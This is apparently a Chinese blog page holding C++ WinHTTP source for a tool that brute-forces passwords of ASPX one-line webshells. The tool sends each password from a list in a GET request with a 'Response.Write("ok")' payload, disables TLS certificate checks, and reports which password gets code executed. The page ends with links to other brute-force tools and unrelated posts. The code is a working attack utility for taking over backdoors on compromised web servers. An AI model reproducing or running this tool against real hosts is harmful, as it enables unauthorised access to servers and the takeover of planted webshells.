#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
#include <string.h>
#include <string>
#include <winhttp.h>
#pragma comment(lib,"winhttp.lib") void banner() //显示banner
{
printf("[-]:Webshell Aspx crack T00ls\r\n[-]:Welcome www.90sec.org\r\n");
} int _tmain(int argc, _TCHAR * argv [])
{
DWORD dwsize = 0;
LPSTR pszOutBuffer;
LPBYTE lpHeader, lpData;
LPCWSTR Host = argv[1];
LPCWSTR Url = argv[2];
char buf[MAX_PATH] = {0}; //fgets接收字符串
FILE* fp;
int i = 0; if (argc < 4) //如果入口长度小于4
{
banner();
printf("[-]:%S Host Domain_Url Password_List\r\n",argv[0]);
return 0;
} if ((fp = _wfopen(argv[3],L"rb")) == NULL) //打开文件,如果不存在
{
printf("File not found\r\n"); //打印错误
return 0;
}
while ((fgets(buf,MAX_PATH,fp))) //这儿注意,fgets读取文件,默认一行尾端会增加一个回车,我就是在这儿卡了一晚上
{
buf[strlen(buf) - 2] = '\0'; //倒数第二个字符,也就是回车,替换 HINTERNET Hinternet = WinHttpOpen(L"HttpClient 1.0", //定义访问sessions
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,0);
if (Hinternet == NULL) //如果定义访问的sessions为空
{
printf("Failed to Initialize http sessions\r\n");
return 0;
} HINTERNET Hconnect = WinHttpConnect(Hinternet, //初始化连接
Host, //定义地址
INTERNET_DEFAULT_HTTPS_PORT,//默认端口443
0); if (Hconnect == NULL) //如果为空,就close winhttp句柄
{
printf("Hconnect error\r\n");
WinHttpCloseHandle(Hinternet);
return 0;
} WCHAR* res = new WCHAR[MAX_PATH + 1]; //释放内存,准备写入数据
wsprintf(res,L"%s?%S=Response.Write(\"ok\");Response.End()",Url,buf); //写入字符串到释放内存的变量里
HINTERNET Hrequest = WinHttpOpenRequest(Hconnect, //准备传输,定义好格式
L"GET",
res,
L"HTTP /1.1",
WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE|WINHTTP_FLAG_REFRESH); if (Hrequest == NULL)
{
WinHttpCloseHandle(Hinternet);
WinHttpCloseHandle(Hconnect);
return 0;
} DWORD dwFlags;
DWORD dwBuffLen = sizeof(dwFlags);
WinHttpQueryOption (Hrequest, WINHTTP_OPTION_SECURITY_FLAGS, //设置查询选项
(LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
dwFlags |= SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
dwFlags |= SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
dwFlags |= SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; WinHttpSetOption (Hrequest, WINHTTP_OPTION_SECURITY_FLAGS, //设置选项
&dwFlags, sizeof (dwFlags) ); if (WinHttpSendRequest(Hrequest, //发送数据
WINHTTP_NO_ADDITIONAL_HEADERS,0,
WINHTTP_NO_REQUEST_DATA,0,0,0) == FALSE)
{
DWORD err = GetLastError();
WinHttpCloseHandle(Hrequest);
WinHttpCloseHandle(Hconnect);
WinHttpCloseHandle(Hinternet);
return 0;
} if (WinHttpReceiveResponse(Hrequest,NULL) == FALSE) //开始读取相应
{
DWORD err = GetLastError();
WinHttpCloseHandle(Hrequest);
WinHttpCloseHandle(Hconnect);
WinHttpCloseHandle(Hinternet);
return 0;
} DWORD dwSize = 0;
if (!WinHttpQueryDataAvailable( Hrequest, &dwSize)) //检查是否还有数据接受
printf( "Error %u in WinHttpQueryDataAvailable.\n",
GetLastError()); WinHttpQueryHeaders(Hrequest, //查看http响应头
WINHTTP_QUERY_RAW_HEADERS_CRLF,
WINHTTP_HEADER_NAME_BY_INDEX,NULL,
&dwsize,WINHTTP_NO_HEADER_INDEX);
lpHeader = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, dwsize); WinHttpQueryHeaders(Hrequest,
WINHTTP_QUERY_RAW_HEADERS_CRLF,
WINHTTP_HEADER_NAME_BY_INDEX,
lpHeader, &dwsize,
WINHTTP_NO_HEADER_INDEX);
HeapFree(GetProcessHeap(), 0, lpHeader);
DWORD dwDownloaded = 0;
pszOutBuffer = new char[dwSize+1];
if (!pszOutBuffer)
{
printf("Out of memory\n");
} ZeroMemory(pszOutBuffer, dwSize+1);
if (!WinHttpReadData( Hrequest, (LPVOID)pszOutBuffer,
dwSize, &dwDownloaded))
{
printf( "Error %u in WinHttpReadData.\n", GetLastError());
}
if (strstr(pszOutBuffer,"ok"))
{
printf("Line:%d-->Find password Success:%s\n",++i,buf);
return 0;
}else
{
printf("Line:%d-->password Not found:%s\n",++i,buf);
}
}
delete[] pszOutBuffer;
//delete[] res;
return 0;
}

ASPX一句话爆破工具的更多相关文章

  1. [原创]K8一句话密码爆破工具{秒破10万} 支持ASP/PHP/ASPX/JSP/CFM/DIY

    工具: K8_FuckOneShell 20161224编译: VS2012  C# (.NET Framework v4.0)组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http ...

  2. 一句话爆破速度提升一千倍python脚本

    这个脚本是接地提供的思路,一句话爆破速度提升一千倍,看了他的帖子然而没有看到工具,思路很牛逼,我提供一个Python脚本本地测试了下,十万密码只需要3秒,速度还是可以的 # coding:utf-8 ...

  3. python 写的http后台弱口令爆破工具

    今天来弄一个后台破解的Python小程序,哈哈,直接上代码吧,都有注释~~ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ...

  4. Python开发爆破工具

    上一篇讲到了如何用Python开发字典,而当我们手里有了字典 就可以进一步去做爆破的任务了,可以用现成的工具,当然也可以自己写 接下来我就要一步一步来写爆破工具! 爆破MySQL: 想要爆破MySQL ...

  5. 基于nmap扫描结果的端口爆破工具:BrutesPray

      大家搞内网或者C段渗透测试的时候可能遇到很多时候需要对大批的主机进行精确爆破,这时候BruteSpray就派上用场了. BruteSpray是一款基于nmap扫描输出的gnmap/XML文件.自动 ...

  6. 子域名收集之DNS字典爆破工具fierce与dnsdict6的使用

    子域名收集之DNS字典爆破工具fierce与dnsdict6的使用 一.fierce 0.介绍 该工具是一个域名扫描综合性工具.它可以快速获取指定域名的DNS服务器,并检查是否存在区域传输(Zone ...

  7. SQL Server密码爆破工具SQLdict

    SQL Server密码爆破工具SQLdict SQL Server是Windows系统常用的数据库服务器.它广泛采用用户名和密码方式,进行身份认证.Kali Linux提供一款专用的数据库密码爆破工 ...

  8. 网站模糊测试爆破工具Wfuzz

    网站模糊测试爆破工具Wfuzz   模糊测试爆破使用模糊测试的方式对HTTP请求中的各个参数同时进行猜测爆破.例如,渗透测试人员可以采用不同的HTTP请求方式来访问由字典生成的网页路径,以判断网页目录 ...

  9. Oracle SID爆破工具SidGuess

    Oracle SID爆破工具SidGuess   在Oracle中,SID是System IDentifier的缩写.SID是一个数据库的唯一标识符.当用户希望远程连接Oracle数据库时,则需要知道 ...

随机推荐

  1. LeetCode Problem 169: Majority Element查找多数元素

    描述:Given an array of size n, find the majority element. The majority element is the element that app ...

  2. Android UI开发第二十八篇——Fragment中使用左右滑动菜单

    Fragment实现了Android UI的分片管理,尤其在平板开发中,好处多多.这一篇将借助Android UI开发第二十六篇——Fragment间的通信. Android UI开发第二十七篇——实 ...

  3. CodeIgniter框架——CI的执行流程

    应用程序流程图 CodeIgniter执行流程 源码分析——CI到底做了些什么 (由welcome的例子出发——讲解index.php——讲解CodeIgniter.php) (load_class的 ...

  4. grafana-----Annotation

    注释提供了一个方法,在丰富的活动中做个标志点.当你鼠标移到这个注释上,你可以得到title,tags,和text information的事件. Queries 注释事件获得是通过一个注释查询.打开d ...

  5. 从jarray中删除指定元素的问题

    string jsonText = "[{\"a\": \"aaa\",\"b\": \"bbb\",\&qu ...

  6. 解决windows server 2003不识别移动硬盘

    解决windows server2003不显示移动硬盘的问题: 1.进入命令提示符环境(也就是DOS) 2.进入DISKPART程序 3.输入AUTOMOUNT ENABLE指令 4.输入OK 下次U ...

  7. Scrapy框架2

    一.进程.线程.协成 1.进程.线程.协成之间的关系          1.  线程是计算机中最小的工作单元.              2. 进程是提供资源供n个线程使用,即进程是最小的管理单元. ...

  8. 剑指offer 面试64题

    题目:64题 求1+2+3+...+n,要求不能使用乘除法.for.while.if.else.switch.case等关键字及条件判断语句(A?B:C). 解法一:利用Python特性 # -*- ...

  9. VMware虚拟机NAT模式的具体配置

      NAT模式的具体配置 NAT方式:虚拟机可以上外网,可以访问宿主计算机所在网络的其他计算机(反之不行). 1.1.1.        查看虚拟机的网络参数 1)      打开虚拟机,选择菜单&q ...

  10. Python 3 文件和字符编码

     一.文件: 打开文件的模式有: r,只读模式(默认). w,只写模式. 不可读,不存在则创建:存在则删除内容 a,追加模式. 可读,不存在则创建:存在则只追加内容 "+"表示可以 ...